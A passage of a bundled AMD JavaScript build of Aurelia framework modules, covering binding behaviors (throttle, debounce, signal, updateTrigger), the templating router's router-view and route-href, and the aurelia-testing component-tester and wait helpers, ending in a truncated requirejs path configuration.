clearTimeout(state.timeoutId);
state.timeoutId = null;
state.last = +new Date();
this.throttledMethod(newValue);
return;
}
state.newValue = newValue;
if (state.timeoutId === null) {
state.timeoutId = setTimeout(function () {
state.timeoutId = null;
state.last = +new Date();
_this.throttledMethod(state.newValue);
}, state.delay - elapsed);
}
}
var ThrottleBindingBehavior = exports.ThrottleBindingBehavior = function () {
function ThrottleBindingBehavior() {
}
ThrottleBindingBehavior.prototype.bind = function bind(binding, source) {
var delay = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 200;
var methodToThrottle = 'updateTarget';
if (binding.callSource) {
methodToThrottle = 'callSource';
} else if (binding.updateSource && binding.mode === _aureliaBinding.bindingMode.twoWay) {
methodToThrottle = 'updateSource';
}
binding.throttledMethod = binding[methodToThrottle];
binding.throttledMethod.originalName = methodToThrottle;
binding[methodToThrottle] = throttle;
binding.throttleState = {
delay: delay,
last: 0,
timeoutId: null
};
};
ThrottleBindingBehavior.prototype.unbind = function unbind(binding, source) {
var methodToRestore = binding.throttledMethod.originalName;
binding[methodToRestore] = binding.throttledMethod;
binding.throttledMethod = null;
clearTimeout(binding.throttleState.timeoutId);
binding.throttleState = null;
};
return ThrottleBindingBehavior;
}();
});
define('aurelia-templating-resources/debounce-binding-behavior',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.DebounceBindingBehavior = undefined;
function debounce(newValue) {
var _this = this;
var state = this.debounceState;
if (state.immediate) {
state.immediate = false;
this.debouncedMethod(newValue);
return;
}
clearTimeout(state.timeoutId);
state.timeoutId = setTimeout(function () {
return _this.debouncedMethod(newValue);
}, state.delay);
}
var DebounceBindingBehavior = exports.DebounceBindingBehavior = function () {
function DebounceBindingBehavior() {
}
DebounceBindingBehavior.prototype.bind = function bind(binding, source) {
var delay = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 200;
var methodToDebounce = 'updateTarget';
if (binding.callSource) {
methodToDebounce = 'callSource';
} else if (binding.updateSource && binding.mode === _aureliaBinding.bindingMode.twoWay) {
methodToDebounce = 'updateSource';
}
binding.debouncedMethod = binding[methodToDebounce];
binding.debouncedMethod.originalName = methodToDebounce;
binding[methodToDebounce] = debounce;
binding.debounceState = {
delay: delay,
timeoutId: null,
immediate: methodToDebounce === 'updateTarget' };
};
DebounceBindingBehavior.prototype.unbind = function unbind(binding, source) {
var methodToRestore = binding.debouncedMethod.originalName;
binding[methodToRestore] = binding.debouncedMethod;
binding.debouncedMethod = null;
clearTimeout(binding.debounceState.timeoutId);
binding.debounceState = null;
};
return DebounceBindingBehavior;
}();
});
define('aurelia-templating-resources/self-binding-behavior',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function findOriginalEventTarget(event) {
return event.path && event.path[0] || event.deepPath && event.deepPath[0] || event.target;
}
function handleSelfEvent(event) {
var target = findOriginalEventTarget(event);
if (this.target !== target) return;
this.selfEventCallSource(event);
}
var SelfBindingBehavior = exports.SelfBindingBehavior = function () {
function SelfBindingBehavior() {
}
SelfBindingBehavior.prototype.bind = function bind(binding, source) {
if (!binding.callSource || !binding.targetEvent) throw new Error('Self binding behavior only supports event.');
binding.selfEventCallSource = binding.callSource;
binding.callSource = handleSelfEvent;
};
SelfBindingBehavior.prototype.unbind = function unbind(binding, source) {
binding.callSource = binding.selfEventCallSource;
binding.selfEventCallSource = null;
};
return SelfBindingBehavior;
}();
});
define('aurelia-templating-resources/signal-binding-behavior',['exports', './binding-signaler'], function (exports, _bindingSignaler) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.SignalBindingBehavior = undefined;
var SignalBindingBehavior = exports.SignalBindingBehavior = function () {
SignalBindingBehavior.inject = function inject() {
return [_bindingSignaler.BindingSignaler];
};
function SignalBindingBehavior(bindingSignaler) {
this.signals = bindingSignaler.signals;
}
SignalBindingBehavior.prototype.bind = function bind(binding, source) {
if (!binding.updateTarget) {
throw new Error('Only property bindings and string interpolation bindings can be signaled. Trigger, delegate and call bindings cannot be signaled.');
}
if (arguments.length === 3) {
var name = arguments[2];
var bindings = this.signals[name] || (this.signals[name] = []);
bindings.push(binding);
binding.signalName = name;
} else if (arguments.length > 3) {
var names = Array.prototype.slice.call(arguments, 2);
var i = names.length;
while (i--) {
var _name = names[i];
var _bindings = this.signals[_name] || (this.signals[_name] = []);
_bindings.push(binding);
}
binding.signalName = names;
} else {
throw new Error('Signal name is required.');
}
};
SignalBindingBehavior.prototype.unbind = function unbind(binding, source) {
var name = binding.signalName;
binding.signalName = null;
if (Array.isArray(name)) {
var names = name;
var i = names.length;
while (i--) {
var n = names[i];
var bindings = this.signals[n];
bindings.splice(bindings.indexOf(binding), 1);
}
} else {
var _bindings2 = this.signals[name];
_bindings2.splice(_bindings2.indexOf(binding), 1);
}
};
return SignalBindingBehavior;
}();
});
define('aurelia-templating-resources/binding-signaler',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.BindingSignaler = undefined;
var BindingSignaler = exports.BindingSignaler = function () {
function BindingSignaler() {
this.signals = {};
}
BindingSignaler.prototype.signal = function signal(name) {
var bindings = this.signals[name];
if (!bindings) {
return;
}
var i = bindings.length;
while (i--) {
bindings[i].call(_aureliaBinding.sourceContext);
}
};
return BindingSignaler;
}();
});
define('aurelia-templating-resources/update-trigger-binding-behavior',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.UpdateTriggerBindingBehavior = undefined;
var _class, _temp;
var eventNamesRequired = 'The updateTrigger binding behavior requires at least one event name argument: eg <input value.bind="firstName & updateTrigger:\'blur\'">';
var notApplicableMessage = 'The updateTrigger binding behavior can only be applied to two-way bindings on input/select elements.';
var UpdateTriggerBindingBehavior = exports.UpdateTriggerBindingBehavior = (_temp = _class = function () {
function UpdateTriggerBindingBehavior(eventManager) {
this.eventManager = eventManager;
}
UpdateTriggerBindingBehavior.prototype.bind = function bind(binding, source) {
for (var _len = arguments.length, events = Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {
events[_key - 2] = arguments[_key];
}
if (events.length === 0) {
throw new Error(eventNamesRequired);
}
if (binding.mode !== _aureliaBinding.bindingMode.twoWay) {
throw new Error(notApplicableMessage);
}
var targetObserver = binding.observerLocator.getObserver(binding.target, binding.targetProperty);
if (!targetObserver.handler) {
throw new Error(notApplicableMessage);
}
binding.targetObserver = targetObserver;
targetObserver.originalHandler = binding.targetObserver.handler;
var handler = this.eventManager.createElementHandler(events);
targetObserver.handler = handler;
};
UpdateTriggerBindingBehavior.prototype.unbind = function unbind(binding, source) {
binding.targetObserver.handler = binding.targetObserver.originalHandler;
binding.targetObserver.originalHandler = null;
};
return UpdateTriggerBindingBehavior;
}(), _class.inject = [_aureliaBinding.EventManager], _temp);
});
define('aurelia-templating-resources/html-resource-plugin',['exports', 'aurelia-templating', './dynamic-element'], function (exports, _aureliaTemplating, _dynamicElement) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.getElementName = getElementName;
exports.configure = configure;
function getElementName(address) {
return (/([^\/^\?]+)\.html/i.exec(address)[1].toLowerCase()
);
}
function configure(config) {
var viewEngine = config.container.get(_aureliaTemplating.ViewEngine);
var loader = config.aurelia.loader;
viewEngine.addResourcePlugin('.html', {
'fetch': function fetch(address) {
return loader.loadTemplate(address).then(function (registryEntry) {
var _ref;
var bindable = registryEntry.template.getAttribute('bindable');
var elementName = getElementName(address);
if (bindable) {
bindable = bindable.split(',').map(function (x) {
return x.trim();
});
registryEntry.template.removeAttribute('bindable');
} else {
bindable = [];
}
return _ref = {}, _ref[elementName] = (0, _dynamicElement._createDynamicElement)(elementName, address, bindable), _ref;
});
}
});
}
});
define('aurelia-templating-resources/dynamic-element',['exports', 'aurelia-templating'], function (exports, _aureliaTemplating) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports._createDynamicElement = _createDynamicElement;
function _createDynamicElement(name, viewUrl, bindableNames) {
var _dec, _dec2, _class;
var DynamicElement = (_dec = (0, _aureliaTemplating.customElement)(name), _dec2 = (0, _aureliaTemplating.useView)(viewUrl), _dec(_class = _dec2(_class = function () {
function DynamicElement() {
}
DynamicElement.prototype.bind = function bind(bindingContext) {
this.$parent = bindingContext;
};
return DynamicElement;
}()) || _class) || _class);
for (var i = 0, ii = bindableNames.length; i < ii; ++i) {
(0, _aureliaTemplating.bindable)(bindableNames[i])(DynamicElement);
}
return DynamicElement;
}
});
define('aurelia-templating-router/aurelia-templating-router',['exports', 'aurelia-pal', 'aurelia-router', './route-loader', './router-view', './route-href'], function (exports, _aureliaPal, _aureliaRouter, _routeLoader, _routerView, _routeHref) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.configure = exports.RouteHref = exports.RouterView = exports.TemplatingRouteLoader = undefined;
function configure(config) {
config.singleton(_aureliaRouter.RouteLoader, _routeLoader.TemplatingRouteLoader).singleton(_aureliaRouter.Router, _aureliaRouter.AppRouter).globalResources(_aureliaPal.PLATFORM.moduleName('./router-view'), _aureliaPal.PLATFORM.moduleName('./route-href'));
config.container.registerAlias(_aureliaRouter.Router, _aureliaRouter.AppRouter);
}
exports.TemplatingRouteLoader = _routeLoader.TemplatingRouteLoader;
exports.RouterView = _routerView.RouterView;
exports.RouteHref = _routeHref.RouteHref;
exports.configure = configure;
});;define('aurelia-templating-router', ['aurelia-templating-router/aurelia-templating-router'], function (main) { return main; });
define('aurelia-templating-router/route-loader',['exports', 'aurelia-dependency-injection', 'aurelia-templating', 'aurelia-router', 'aurelia-path', 'aurelia-metadata', './router-view'], function (exports, _aureliaDependencyInjection, _aureliaTemplating, _aureliaRouter, _aureliaPath, _aureliaMetadata, _routerView) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.TemplatingRouteLoader = undefined;
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var _dec, _class;
var TemplatingRouteLoader = exports.TemplatingRouteLoader = (_dec = (0, _aureliaDependencyInjection.inject)(_aureliaTemplating.CompositionEngine), _dec(_class = function (_RouteLoader) {
_inherits(TemplatingRouteLoader, _RouteLoader);
function TemplatingRouteLoader(compositionEngine) {
var _this = _possibleConstructorReturn(this, _RouteLoader.call(this));
_this.compositionEngine = compositionEngine;
return _this;
}
TemplatingRouteLoader.prototype.loadRoute = function loadRoute(router, config) {
var childContainer = router.container.createChild();
var viewModel = /\.html/.test(config.moduleId) ? createDynamicClass(config.moduleId) : (0, _aureliaPath.relativeToFile)(config.moduleId, _aureliaMetadata.Origin.get(router.container.viewModel.constructor).moduleId);
var instruction = {
viewModel: viewModel,
childContainer: childContainer,
view: config.view || config.viewStrategy,
router: router
};
childContainer.registerSingleton(_routerView.RouterViewLocator);
childContainer.getChildRouter = function () {
var childRouter = void 0;
childContainer.registerHandler(_aureliaRouter.Router, function (c) {
return childRouter || (childRouter = router.createChild(childContainer));
});
return childContainer.get(_aureliaRouter.Router);
};
return this.compositionEngine.ensureViewModel(instruction);
};
return TemplatingRouteLoader;
}(_aureliaRouter.RouteLoader)) || _class);
function createDynamicClass(moduleId) {
var _dec2, _dec3, _class2;
var name = /([^\/^\?]+)\.html/i.exec(moduleId)[1];
var DynamicClass = (_dec2 = (0, _aureliaTemplating.customElement)(name), _dec3 = (0, _aureliaTemplating.useView)(moduleId), _dec2(_class2 = _dec3(_class2 = function () {
function DynamicClass() {
}
DynamicClass.prototype.bind = function bind(bindingContext) {
this.$parent = bindingContext;
};
return DynamicClass;
}()) || _class2) || _class2);
return DynamicClass;
}
});
define('aurelia-templating-router/router-view',['exports', 'aurelia-dependency-injection', 'aurelia-binding', 'aurelia-templating', 'aurelia-router', 'aurelia-metadata', 'aurelia-pal'], function (exports, _aureliaDependencyInjection, _aureliaBinding, _aureliaTemplating, _aureliaRouter, _aureliaMetadata, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.RouterViewLocator = exports.RouterView = undefined;
function _initDefineProp(target, property, descriptor, context) {
if (!descriptor) return;
Object.defineProperty(target, property, {
enumerable: descriptor.enumerable,
configurable: descriptor.configurable,
writable: descriptor.writable,
value: descriptor.initializer ? descriptor.initializer.call(context) : void 0
});
}
function _applyDecoratedDescriptor(target, property, decorators, descriptor, context) {
var desc = {};
Object['ke' + 'ys'](descriptor).forEach(function (key) {
desc[key] = descriptor[key];
});
desc.enumerable = !!desc.enumerable;
desc.configurable = !!desc.configurable;
if ('value' in desc || desc.initializer) {
desc.writable = true;
}
desc = decorators.slice().reverse().reduce(function (desc, decorator) {
return decorator(target, property, desc) || desc;
}, desc);
if (context && desc.initializer !== void 0) {
desc.value = desc.initializer ? desc.initializer.call(context) : void 0;
desc.initializer = undefined;
}
if (desc.initializer === void 0) {
Object['define' + 'Property'](target, property, desc);
desc = null;
}
return desc;
}
function _initializerWarningHelper(descriptor, context) {
throw new Error('Decorating class property failed. Please ensure that transform-class-properties is enabled.');
}
var _dec, _dec2, _class, _desc, _value, _class2, _descriptor, _descriptor2, _descriptor3, _descriptor4;
var RouterView = exports.RouterView = (_dec = (0, _aureliaTemplating.customElement)('router-view'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaDependencyInjection.Container, _aureliaTemplating.ViewSlot, _aureliaRouter.Router, _aureliaTemplating.ViewLocator, _aureliaTemplating.CompositionTransaction, _aureliaTemplating.CompositionEngine), _dec(_class = (0, _aureliaTemplating.noView)(_class = _dec2(_class = (_class2 = function () {
function RouterView(element, container, viewSlot, router, viewLocator, compositionTransaction, compositionEngine) {
_initDefineProp(this, 'swapOrder', _descriptor, this);
_initDefineProp(this, 'layoutView', _descriptor2, this);
_initDefineProp(this, 'layoutViewModel', _descriptor3, this);
_initDefineProp(this, 'layoutModel', _descriptor4, this);
this.element = element;
this.container = container;
this.viewSlot = viewSlot;
this.router = router;
this.viewLocator = viewLocator;
this.compositionTransaction = compositionTransaction;
this.compositionEngine = compositionEngine;
this.router.registerViewPort(this, this.element.getAttribute('name'));
if (!('initialComposition' in compositionTransaction)) {
compositionTransaction.initialComposition = true;
this.compositionTransactionNotifier = compositionTransaction.enlist();
}
}
RouterView.prototype.created = function created(owningView) {
this.owningView = owningView;
};
RouterView.prototype.bind = function bind(bindingContext, overrideContext) {
this.container.viewModel = bindingContext;
this.overrideContext = overrideContext;
};
RouterView.prototype.process = function process(viewPortInstruction, waitToSwap) {
var _this = this;
var component = viewPortInstruction.component;
var childContainer = component.childContainer;
var viewModel = component.viewModel;
var viewModelResource = component.viewModelResource;
var metadata = viewModelResource.metadata;
var config = component.router.currentInstruction.config;
var viewPort = config.viewPorts ? config.viewPorts[viewPortInstruction.name] : {};
childContainer.get(RouterViewLocator)._notify(this);
var layoutInstruction = {
viewModel: viewPort.layoutViewModel || config.layoutViewModel || this.layoutViewModel,
view: viewPort.layoutView || config.layoutView || this.layoutView,
model: viewPort.layoutModel || config.layoutModel || this.layoutModel,
router: viewPortInstruction.component.router,
childContainer: childContainer,
viewSlot: this.viewSlot
};
var viewStrategy = this.viewLocator.getViewStrategy(component.view || viewModel);
if (viewStrategy && component.view) {
viewStrategy.makeRelativeTo(_aureliaMetadata.Origin.get(component.router.container.viewModel.constructor).moduleId);
}
return metadata.load(childContainer, viewModelResource.value, null, viewStrategy, true).then(function (viewFactory) {
if (!_this.compositionTransactionNotifier) {
_this.compositionTransactionOwnershipToken = _this.compositionTransaction.tryCapture();
}
if (layoutInstruction.viewModel || layoutInstruction.view) {
viewPortInstruction.layoutInstruction = layoutInstruction;
}
viewPortInstruction.controller = metadata.create(childContainer, _aureliaTemplating.BehaviorInstruction.dynamic(_this.element, viewModel, viewFactory));
if (waitToSwap) {
return;
}
_this.swap(viewPortInstruction);
});
};
RouterView.prototype.swap = function swap(viewPortInstruction) {
var _this2 = this;
var layoutInstruction = viewPortInstruction.layoutInstruction;
var previousView = this.view;
var work = function work() {
var swapStrategy = _aureliaTemplating.SwapStrategies[_this2.swapOrder] || _aureliaTemplating.SwapStrategies.after;
var viewSlot = _this2.viewSlot;
swapStrategy(viewSlot, previousView, function () {
return Promise.resolve(viewSlot.add(_this2.view));
}).then(function () {
_this2._notify();
});
};
var ready = function ready(owningView) {
viewPortInstruction.controller.automate(_this2.overrideContext, owningView);
if (_this2.compositionTransactionOwnershipToken) {
return _this2.compositionTransactionOwnershipToken.waitForCompositionComplete().then(function () {
_this2.compositionTransactionOwnershipToken = null;
return work();
});
}
return work();
};
if (layoutInstruction) {
if (!layoutInstruction.viewModel) {
layoutInstruction.viewModel = {};
}
return this.compositionEngine.createController(layoutInstruction).then(function (controller) {
_aureliaTemplating.ShadowDOM.distributeView(viewPortInstruction.controller.view, controller.slots || controller.view.slots);
controller.automate((0, _aureliaBinding.createOverrideContext)(layoutInstruction.viewModel), _this2.owningView);
controller.view.children.push(viewPortInstruction.controller.view);
return controller.view || controller;
}).then(function (newView) {
_this2.view = newView;
return ready(newView);
});
}
this.view = viewPortInstruction.controller.view;
return ready(this.owningView);
};
RouterView.prototype._notify = function _notify() {
if (this.compositionTransactionNotifier) {
this.compositionTransactionNotifier.done();
this.compositionTransactionNotifier = null;
}
};
return RouterView;
}(), (_descriptor = _applyDecoratedDescriptor(_class2.prototype, 'swapOrder', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor2 = _applyDecoratedDescriptor(_class2.prototype, 'layoutView', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor3 = _applyDecoratedDescriptor(_class2.prototype, 'layoutViewModel', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
}), _descriptor4 = _applyDecoratedDescriptor(_class2.prototype, 'layoutModel', [_aureliaTemplating.bindable], {
enumerable: true,
initializer: null
})), _class2)) || _class) || _class) || _class);
var RouterViewLocator = exports.RouterViewLocator = function () {
function RouterViewLocator() {
var _this3 = this;
this.promise = new Promise(function (resolve) {
return _this3.resolve = resolve;
});
}
RouterViewLocator.prototype.findNearest = function findNearest() {
return this.promise;
};
RouterViewLocator.prototype._notify = function _notify(routerView) {
this.resolve(routerView);
};
return RouterViewLocator;
}();
});
define('aurelia-templating-router/route-href',['exports', 'aurelia-templating', 'aurelia-dependency-injection', 'aurelia-router', 'aurelia-pal', 'aurelia-logging'], function (exports, _aureliaTemplating, _aureliaDependencyInjection, _aureliaRouter, _aureliaPal, _aureliaLogging) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.RouteHref = undefined;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var _dec, _dec2, _dec3, _dec4, _dec5, _class;
var logger = LogManager.getLogger('route-href');
var RouteHref = exports.RouteHref = (_dec = (0, _aureliaTemplating.customAttribute)('route-href'), _dec2 = (0, _aureliaTemplating.bindable)({ name: 'route', changeHandler: 'processChange' }), _dec3 = (0, _aureliaTemplating.bindable)({ name: 'params', changeHandler: 'processChange' }), _dec4 = (0, _aureliaTemplating.bindable)({ name: 'attribute', defaultValue: 'href' }), _dec5 = (0, _aureliaDependencyInjection.inject)(_aureliaRouter.Router, _aureliaPal.DOM.Element), _dec(_class = _dec2(_class = _dec3(_class = _dec4(_class = _dec5(_class = function () {
function RouteHref(router, element) {
this.router = router;
this.element = element;
}
RouteHref.prototype.bind = function bind() {
this.isActive = true;
this.processChange();
};
RouteHref.prototype.unbind = function unbind() {
this.isActive = false;
};
RouteHref.prototype.attributeChanged = function attributeChanged(value, previous) {
if (previous) {
this.element.removeAttribute(previous);
}
this.processChange();
};
RouteHref.prototype.processChange = function processChange() {
var _this = this;
return this.router.ensureConfigured().then(function () {
if (!_this.isActive) {
return null;
}
var href = _this.router.generate(_this.route, _this.params);
if (_this.element.au.controller) {
_this.element.au.controller.viewModel[_this.attribute] = href;
} else {
_this.element.setAttribute(_this.attribute, href);
}
return null;
}).catch(function (reason) {
logger.error(reason);
});
};
return RouteHref;
}()) || _class) || _class) || _class) || _class) || _class);
});
define('aurelia-testing/aurelia-testing',['exports', './compile-spy', './view-spy', './component-tester', './wait'], function (exports, _compileSpy, _viewSpy, _componentTester, _wait) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.waitForDocumentElements = exports.waitForDocumentElement = exports.waitFor = exports.configure = exports.ComponentTester = exports.StageComponent = exports.ViewSpy = exports.CompileSpy = undefined;
function configure(config) {
config.globalResources('./compile-spy', './view-spy');
}
exports.CompileSpy = _compileSpy.CompileSpy;
exports.ViewSpy = _viewSpy.ViewSpy;
exports.StageComponent = _componentTester.StageComponent;
exports.ComponentTester = _componentTester.ComponentTester;
exports.configure = configure;
exports.waitFor = _wait.waitFor;
exports.waitForDocumentElement = _wait.waitForDocumentElement;
exports.waitForDocumentElements = _wait.waitForDocumentElements;
});;define('aurelia-testing', ['aurelia-testing/aurelia-testing'], function (main) { return main; });
define('aurelia-testing/compile-spy',['exports', 'aurelia-templating', 'aurelia-dependency-injection', 'aurelia-logging', 'aurelia-pal'], function (exports, _aureliaTemplating, _aureliaDependencyInjection, _aureliaLogging, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.CompileSpy = undefined;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var _dec, _dec2, _class;
var CompileSpy = exports.CompileSpy = (_dec = (0, _aureliaTemplating.customAttribute)('compile-spy'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaTemplating.TargetInstruction), _dec(_class = _dec2(_class = function CompileSpy(element, instruction) {
LogManager.getLogger('compile-spy').info(element, instruction);
}) || _class) || _class);
});
define('aurelia-testing/view-spy',['exports', 'aurelia-templating', 'aurelia-logging'], function (exports, _aureliaTemplating, _aureliaLogging) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.ViewSpy = undefined;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var _dec, _class;
var ViewSpy = exports.ViewSpy = (_dec = (0, _aureliaTemplating.customAttribute)('view-spy'), _dec(_class = function () {
function ViewSpy() {
this.logger = LogManager.getLogger('view-spy');
}
ViewSpy.prototype._log = function _log(lifecycleName, context) {
if (!this.value && lifecycleName === 'created') {
this.logger.info(lifecycleName, this.view);
} else if (this.value && this.value.indexOf(lifecycleName) !== -1) {
this.logger.info(lifecycleName, this.view, context);
}
};
ViewSpy.prototype.created = function created(view) {
this.view = view;
this._log('created');
};
ViewSpy.prototype.bind = function bind(bindingContext) {
this._log('bind', bindingContext);
};
ViewSpy.prototype.attached = function attached() {
this._log('attached');
};
ViewSpy.prototype.detached = function detached() {
this._log('detached');
};
ViewSpy.prototype.unbind = function unbind() {
this._log('unbind');
};
return ViewSpy;
}()) || _class);
});
define('aurelia-testing/component-tester',['exports', 'aurelia-templating', 'aurelia-framework', './wait'], function (exports, _aureliaTemplating, _aureliaFramework, _wait) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.ComponentTester = exports.StageComponent = undefined;
var StageComponent = exports.StageComponent = function () {
function StageComponent() {
}
StageComponent.withResources = function withResources(resources) {
return new ComponentTester().withResources(resources);
};
return StageComponent;
}();
var ComponentTester = exports.ComponentTester = function () {
function ComponentTester() {
this.configure = function (aurelia) {
return aurelia.use.standardConfiguration();
};
this._resources = [];
}
ComponentTester.prototype.bootstrap = function bootstrap(configure) {
this.configure = configure;
};
ComponentTester.prototype.withResources = function withResources(resources) {
this._resources = resources;
return this;
};
ComponentTester.prototype.inView = function inView(html) {
this._html = html;
return this;
};
ComponentTester.prototype.boundTo = function boundTo(bindingContext) {
this._bindingContext = bindingContext;
return this;
};
ComponentTester.prototype.manuallyHandleLifecycle = function manuallyHandleLifecycle() {
this._prepareLifecycle();
return this;
};
ComponentTester.prototype.create = function create(bootstrap) {
var _this = this;
return bootstrap(function (aurelia) {
return Promise.resolve(_this.configure(aurelia)).then(function () {
if (_this._resources) {
aurelia.use.globalResources(_this._resources);
}
return aurelia.start().then(function (a) {
_this.host = document.createElement('div');
_this.host.innerHTML = _this._html;
document.body.appendChild(_this.host);
return aurelia.enhance(_this._bindingContext, _this.host).then(function () {
_this._rootView = aurelia.root;
_this.element = _this.host.firstElementChild;
if (aurelia.root.controllers.length) {
_this.viewModel = aurelia.root.controllers[0].viewModel;
}
return new Promise(function (resolve) {
return setTimeout(function () {
return resolve();
}, 0);
});
});
});
});
});
};
ComponentTester.prototype.dispose = function dispose() {
if (this.host === undefined || this._rootView === undefined) {
throw new Error('Cannot call ComponentTester.dispose() before ComponentTester.create()');
}
this._rootView.detached();
this._rootView.unbind();
return this.host.parentNode.removeChild(this.host);
};
ComponentTester.prototype._prepareLifecycle = function _prepareLifecycle() {
var _this2 = this;
var bindPrototype = _aureliaTemplating.View.prototype.bind;
_aureliaTemplating.View.prototype.bind = function () {};
this.bind = function (bindingContext) {
return new Promise(function (resolve) {
_aureliaTemplating.View.prototype.bind = bindPrototype;
if (bindingContext !== undefined) {
_this2._bindingContext = bindingContext;
}
_this2._rootView.bind(_this2._bindingContext);
setTimeout(function () {
return resolve();
}, 0);
});
};
var attachedPrototype = _aureliaTemplating.View.prototype.attached;
_aureliaTemplating.View.prototype.attached = function () {};
this.attached = function () {
return new Promise(function (resolve) {
_aureliaTemplating.View.prototype.attached = attachedPrototype;
_this2._rootView.attached();
setTimeout(function () {
return resolve();
}, 0);
});
};
this.detached = function () {
return new Promise(function (resolve) {
_this2._rootView.detached();
setTimeout(function () {
return resolve();
}, 0);
});
};
this.unbind = function () {
return new Promise(function (resolve) {
_this2._rootView.unbind();
setTimeout(function () {
return resolve();
}, 0);
});
};
};
ComponentTester.prototype.waitForElement = function waitForElement(selector, options) {
var _this3 = this;
return (0, _wait.waitFor)(function () {
return _this3.element.querySelector(selector);
}, options);
};
ComponentTester.prototype.waitForElements = function waitForElements(selector, options) {
var _this4 = this;
return (0, _wait.waitFor)(function () {
return _this4.element.querySelectorAll(selector);
}, options);
};
return ComponentTester;
}();
});
define('aurelia-testing/wait',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.waitFor = waitFor;
exports.waitForDocumentElement = waitForDocumentElement;
exports.waitForDocumentElements = waitForDocumentElements;
function waitFor(getter, options) {
var timedOut = false;
options = Object.assign({
present: true,
interval: 50,
timeout: 5000
}, options);
function wait() {
var element = getter();
var found = element !== null && (!(element instanceof NodeList) && !element.jquery || element.length > 0);
if (!options.present ^ found || timedOut) {
return Promise.resolve(element);
}
return new Promise(function (rs) {
return setTimeout(rs, options.interval);
}).then(wait);
}
return Promise.race([new Promise(function (rs, rj) {
return setTimeout(function () {
timedOut = true;
rj(options.present ? 'Element not found' : 'Element not removed');
}, options.timeout);
}), wait()]);
}
function waitForDocumentElement(selector, options) {
return waitFor(function () {
return document.querySelector(selector);
}, options);
}
function waitForDocumentElements(selector, options) {
return waitFor(function () {
return document.querySelectorAll(selector);
}, options);
}
});
function _aureliaConfigureModuleLoader(){requirejs.config({"baseUrl":"src/","paths":{"aurelia-binding":"..\\node_modules\\aurelia-binding\\dist\\amd\\aurelia-binding","aurelia-bootstrapper":"..\\node_modules\\aurelia-bootstrapper\\dist\\amd\\aurelia-bootstrapper","aurelia-dependency-injection":"..\\node_modules\\aurelia-dependency-injection\\dist\\amd\\aurelia-dependency-injection","aurelia-event-aggregator":"..\\node_modules\\aurelia-event-aggregator\\dist\\amd\\aurelia-event-aggregator","aurelia-framework":"..\\node_modules\\aurelia-framework\\dist\\amd\\aurelia-framework","aurelia-history":"..\\node_modules\\aurelia-history\\dist\\amd\\aurelia-history","aurelia-history-browser":"..\\node_modules\\aurelia-history-browser\\dist\\amd\\aurelia-history-browser","aurelia-loader":"..\\node_modules\\aurelia-loader\\dist\\amd\\aurelia-loader","aurelia-loader-default":"..\\node_modules\\aurelia-loader-default\\dist\\amd\\aurelia-loader-default","aurelia-logging":"..\\node_modules\\aurelia-logging\\dist\\amd\\aurelia-logging","aurelia-logging-console":"..\\node_modules\\aurelia-logging-console\\dist\\amd\\aurelia-logging-console","aurelia-metadata":"..\\node_modules\\aurelia-metadata\\dist\\amd\\aurelia-metadata","aurelia-pal":"..\\node_modules\\aurelia-pal\\dist\\amd\\aurelia-pal","aurelia-pal-browser":"..\\node_modules\\aurelia-pal-browser\\dist\\amd\\aurelia-pal-browser","aurelia-path":"..\\node_modules\\aurelia-path\\dis